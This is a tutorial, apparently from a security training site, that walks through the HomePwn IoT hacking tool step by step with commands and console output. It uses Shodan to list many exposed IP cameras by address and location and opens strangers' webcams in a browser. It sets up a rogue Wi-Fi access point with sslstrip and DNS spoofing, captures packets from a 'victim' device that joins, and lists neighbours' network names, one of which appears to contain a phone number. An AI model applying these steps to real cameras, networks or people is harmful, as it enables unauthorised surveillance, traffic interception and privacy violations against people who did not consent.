IOT (Internet of things) which makes our life way easier. As it reduces to do human efforts. You can control all your devices with your Android/ IOS Mobiles. You can make any electrical appliance by just adding an IOT module or IOT devices. According to ethical hacking researcher International Institute of Cyber Security, IOT are getting very popular & some of them are very vulnerable too.
With HomePwn tool you can find, sniff and even get lot of information to hack IOT devices. HomePwn is an tool used to find nearby IOT devices & you can run initial phase of pentesting. HomePwn is designed to take advantage of IOT devices with their vulnerabilities. According to ethical hacking researcher of international institute of cyber security with its pre-written library you can sniff many IOT devices. Now we will show you on how to use HomePwn to perform penetration testing on IOT devices.
- For testing we have used Ubuntu 18.04 amd64.
- Which required python3.6.
- Type sudo apt-get update && sudo apt-get install python3 && sudo apt-get install python3-pip
- Type git clone https://github.com/ElevenPaths/HomePWN.git
- Type cd HomePwn && ls
- Type chmod u+x requirements.txt && homePwn.py
- Type sudo ./install.sh. It will take time to install all its dependencies.
- If you missed some dependencies, try running install.sh 2 to 3 times.
- Type source homePwn/bin/activate
- After completing above steps type python3 homePwn.py
(homePwn) root@ubuntu:/home/iicybersecurity/Downloads/HomePWN# python3 homePwn.py
('-. .-. _ .-') ('-. _ (`-. (`\ .-') /` .-') _ ( OO ) / ( '.( OO )_ _( OO) ( (OO ) `.( OO ),' ( OO ) ) ,--. ,--. .-'),-----. ,--. ,--.)(,------. _.` \,--./ .--. ,--./ ,--,' | | | |( OO' .-. '| `.' | | .---'(__...--''| | | | \ | |\ | .| |/ | | | || | | | | / | || | | |, | \| | ) | |\_) | |\| || |'.'| | (| '--. | |_.' || |.'.| |_)| . |/ | .-. | \ | | | || | | | | .--' | .___.'| | | |\ | | | | | `' '-' '| | | | | `---. | | | ,'. | | | \ | `--' `--' `-----' `--' `--' `------' `--' '--' '--' `--' `--' ☠ HomePwn - IoT Pentesting & Ethical Hacking ☠ Created with ♥ by: 'Ideas Locas (CDO Telefonica)' Version: '0.0.1b' homePwn >>
- Type load & then press tab. So now we will test some of modules of homePwn.
Finding IP Cameras
- We will use ipcamera module, Type load shodan/ipcamera
homePwn >>load shodan/ipcamera Loading module… [+] Module loaded! homePwn (shodan/ipcamera) >>
- Type show options
homePwn (shodan/ipcamera) >> show options Options (Field = Value) | |_[REQUIRED] apishodan = None (Shodan API Key) |_file = ./files/shodan_camera.txt (File to dump or read the data) |_search = Server: Netwave IP Camera 200 OK (Camera to search)
- Type set apishodan <Shodan API Key>
- Type set apishodan atjc###############4xBjrrM
- Type set file /home/iicybersecurity/ipcamera.txt
- Type set search Axis Camera && run
homePwn (shodan/ipcamera) >> set apishodan atjc###############4xBjrrM apishodan >> atj####################4x###rrM homePwn (shodan/ipcamera) >> homePwn (shodan/ipcamera) >> set file /home/iicybersecurity/ipcamera.txt file >> /home/iicybersecurity/ipcamera.txt homePwn (shodan/ipcamera) >> homePwn (shodan/ipcamera) >> set search Axis Camera search >> Axis Camera homePwn (shodan/ipcamera) >> homePwn (shodan/ipcamera) >> run Making request to Shodan. Search: Axis Camera 200 OK [+] Data collected! [+] Saving information in /home/iicybersecurity/ipcamera.txt
- Type exit
- Now run cat /home/iicybersecurity/ipcamera.txt
root@ubuntu:/home/iicybersecurity# cat ipcamera.txt 18.104.22.168:8081 - Lincoln(United States) 22.214.171.124:9000 - China 126.96.36.199:8081 - Hoschton(United States) 188.8.131.52:9001 - Spain 184.108.40.206:8081 - Frederiksberg(Denmark) 220.127.116.11:2000 - Homestead(United States) 18.104.22.168:8081 - Sao Paulo(Brazil) 22.214.171.124:9002 - Florence(Italy) 126.96.36.199:2000 - Mckinney(United States) 188.8.131.52:9001 - Novi Sad(Serbia) 184.108.40.206:8081 - Poole(United Kingdom) 220.127.116.11:8083 - United States 18.104.22.168:8081 - United States 22.214.171.124:5001 - Eindhoven(Netherlands) 126.96.36.199:8083 - France 188.8.131.52:8083 - United States 184.108.40.206:2000 - Copperas Cove(United States) 220.127.116.11:2000 - Hickory(United States) 18.104.22.168:9000 - Orense(Spain) 22.214.171.124:8083 - Hellín(Spain) 126.96.36.199:8083 - Germany 188.8.131.52:8081 - Espera(Spain) 184.108.40.206:8181 - Alkmaar(Netherlands) 220.127.116.11:9002 - San Francisco(United States) 18.104.22.168:8009 - Épinay-sur-seine(France) 22.214.171.124:8140 - Austria 126.96.36.199:8081 - Amstetten(Austria) 188.8.131.52:8083 - Rochester(United States) 184.108.40.206:8083 - Paris(France) 220.127.116.11:8083 - Wilmington(United States) 18.104.22.168:8081 - Wilmington(United States) 22.214.171.124:8083 - Monchengladbach(Germany) 126.96.36.199:8081 - Singapore(Singapore) 188.8.131.52:9001 - Henderson(United States) 184.108.40.206:2087 - Kawasaki(Japan) 220.127.116.11:9000 - Suffolk(United States) 18.104.22.168:8081 - Rotenburg(Germany) 22.214.171.124:5001 - Friedrichsthal(Germany) 126.96.36.199:8083 - Odintsovo(Russian Federation) 188.8.131.52:8081 - Chiclana De La Frontera(Spain) 184.108.40.206:8083 - Shreveport(United States) 220.127.116.11:8081 - Paris(France) 18.104.22.168:8081 - Mytishchi(Russian Federation) 22.214.171.124:444 - Colorado Springs(United States) 126.96.36.199:8089 - Tabajd(Hungary) 188.8.131.52:8081 - Leicester(United Kingdom) 184.108.40.206:8181 - Bolevec(Czech Republic) 220.127.116.11:8083 - Velten(Germany) 18.104.22.168:8081 - Monzón(Spain) 22.214.171.124:5001 - Koganei(Japan) 126.96.36.199:9002 - Gomaringen(Germany) 188.8.131.52:2000 - Krems An Der Donau(Austria) 184.108.40.206:9000 - Chesapeake(United States) 220.127.116.11:8081 - Moscow(Russian Federation) 18.104.22.168:8081 - France 22.214.171.124:8081 - Sao Paulo(Brazil) 126.96.36.199:8081 - Germany 188.8.131.52:8009 - Brooklyn(United States) 184.108.40.206:8009 - Austria 220.127.116.11:8083 - United States 18.104.22.168:5001 - A Coruña(Spain) 22.214.171.124:9000 - Bad Salzuflen(Germany) 126.96.36.199:8083 - Bristol(United Kingdom
- Above are listed ip cameras founded by homePwn using shodan API. Now some of above listed IPs with their ports. For more information on using shodan to Find webcams, refer this.
- Now we will take one IP from the above txt file and try opening one webcam IP found in the list. Open browser type 188.8.131.52:8081
- Now try with an other IP, Open browser type 184.108.40.206:9002
- You can use homePwn with shodan api to find open IP cameras. Here some of active IP cameras fastly as sometimes it take time to find open IP camera directly from shodan.
Creating Fake Access Point
- Type load wifi/setup-accesspoint
- Now type iwconfig to see wireless interface name, which will be used in next command.
- Then to run on wireless interface type set ap_iface wlxc04a0016044d
- Now set another interface on which internet is connected, you can get this interface with ifconfig command. After getting internet connected name with ifconfig command, type set net_iface ens33
- Now set SSID using command set ssid testing
- Now type run
homePwn (wifi/access-points) >> load wifi/setup-accesspoint Loading module… [+] Module loaded! homePwn (wifi/setup-accesspoint) >> homePwn (wifi/setup-accesspoint) >> show options Options (Field = Value) |[REQUIRED] ap_iface = None (The name of your wireless interface (for the AP)) |[REQUIRED] net_iface = None (The name of your internet connected interface) |channel = 3 (Network Channel to the AP) |_sslstrip = True (Use SSLSTRIP 2.0?) |_hostapd_wpa = True (Enable WPA2 encryption?) |_wpa_passphrase = 12345678 (Please enter the WPA2 passphrase for the AP ('minimum 8 characters')) |_driftnet = False (Capture unencrypted images with DRIFTNET?) |[REQUIRED] ssid = None (AP SSID to show) |_wireshark = False (Start Wireshark?) |_tshark = False (Capture packets to .pcap with TSHARK? (no gui needed)) |_dnsspoof = False (Spoof DNS?) |_proxy = False (Capture traffic? (only works with no sslstrip)) homePwn (wifi/setup-accesspoint) >> set ap_iface wlxc04a0016044d ap_iface >> wlxc04a0016044d homePwn (wifi/setup-accesspoint) >> homePwn (wifi/setup-accesspoint) >> set net_iface ens33 net_iface >> ens33 homePwn (wifi/setup-accesspoint) >> homePwn (wifi/setup-accesspoint) >> homePwn (wifi/setup-accesspoint) >> set ssid testing ssid >> testing homePwn (wifi/setup-accesspoint) >> homePwn (wifi/setup-accesspoint) >> homePwn (wifi/setup-accesspoint) >> run
- Homepwn gives an easy way to create fake access points. Such methods can be used in session hijacking.
- After creating fake access point, you have to start connection to receive data packets by enabling IP forward. Such scenarios are taught to students in ethical hacking courses offered by International Institute of Cyber Security.
- In another terminal type sudo sysctl net.ipv4.ip_forward=1 for forwarding the IPv4 address.
- Then you can use Wireshark for watching data transmission. As you start Wireshark.
- After creating fake access point or an accesspoint with same name as earlier access point. One victim has connected using Xiaomi device. We can also see packets with MAC address of Xiaomi devices. For security reasons we have hidden the MAC address.
- For iface, open another terminal & type iwconfig
root@ubuntu:/home/iicybersecurity# iwconfig wlxc04a0016044d IEEE 802.11 Mode:Monitor Frequency:2.462 GHz Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Power Management:off ens33 no wireless extensions. lo no wireless extensions.
- Type load wifi/access-points-sniffing
- Type show options
- Then Type set iface wlxc04a0016044d
- And then type run
homePwn (wifi/access-points-sniffing) >> load wifi/access-points-sniffing Loading module… [+] Module loaded! homePwn (wifi/access-points-sniffing) >> show options Options (Field = Value) |[REQUIRED] iface = None (Network Interface (that allows promiscuous mode)) |[OPTIONAL] channel = None (Network channel. Configure this option if you want to fix it and not 'make jumps') homePwn (wifi/access-points-sniffing) >> set iface wlxc04a0016044d iface >> wlxc04a0016044d homePwn (wifi/access-points-sniffing) >> run
- You will find nearby Wifi Access points which can be used for wifi sniffing or can be used for session hijacking.
[+] wlxc04a0016044d channel: 2 Access Points Enc ch ESSID [*] 00:E0:##:3B:##:08 - Y - 2 - Cbi [*] 18:##:F7:##:27:##C - Y - 1 - Pankaj@9212458712 [*] ##:3A:##:0B:##:08 - Y - 2 - naidus [*] E2:##:BF:##:DC:## - Y - 2 - DIRECT-yT-BRAVIA [*] ##:95:##:BB:##:48 - Y - 4 - Worldview@arun baba [*] 0C:##:B5:##:B0:## - Y - 4 - MohanLalchug [*] ##:1E:##:DB:##:C0 - Y - 6 - Excitel
- Above you can see some Access points with their ESSID. You can use this module for sniffing. It can scan for long distance Access points also. Here you can see Direct-yt-Bravia. Smart TV which can be used to sniff IP enable Television. IP Television can be any Samsung, LG, SONY, others
For port scanning
- Homepwn also offers ports canning. Type load discovery/nmap-portscan
- Type show options
- Now type set rhost 220.127.116.11
- Type set rports 50-500 for scan from port 50 to 500
- Then type run
homePwn (discovery/nmap-portscan) >> show options Options (Field = Value) |[REQUIRED] rhost = None (Remote host IP) |[REQUIRED] rports = None (Remote ports (Example: 100-500)) |_timeout = 6 (Timeout to wait for search responses. (In seconds)) |_scan = S (nmap scan. Check namp scans to configure (Examples: SYN = S; Connect = T) ("show info" to check more)) homePwn (discovery/nmap-portscan) >> set rhost 18.104.22.168 rhost >> 22.214.171.124 homePwn (discovery/nmap-portscan) >> set rports 50-500 rports >> 100-500 homePwn (discovery/nmap-portscan) >> run Scanning… Host state up 'tcp'
- You can use this module to find open ports of your target rhost.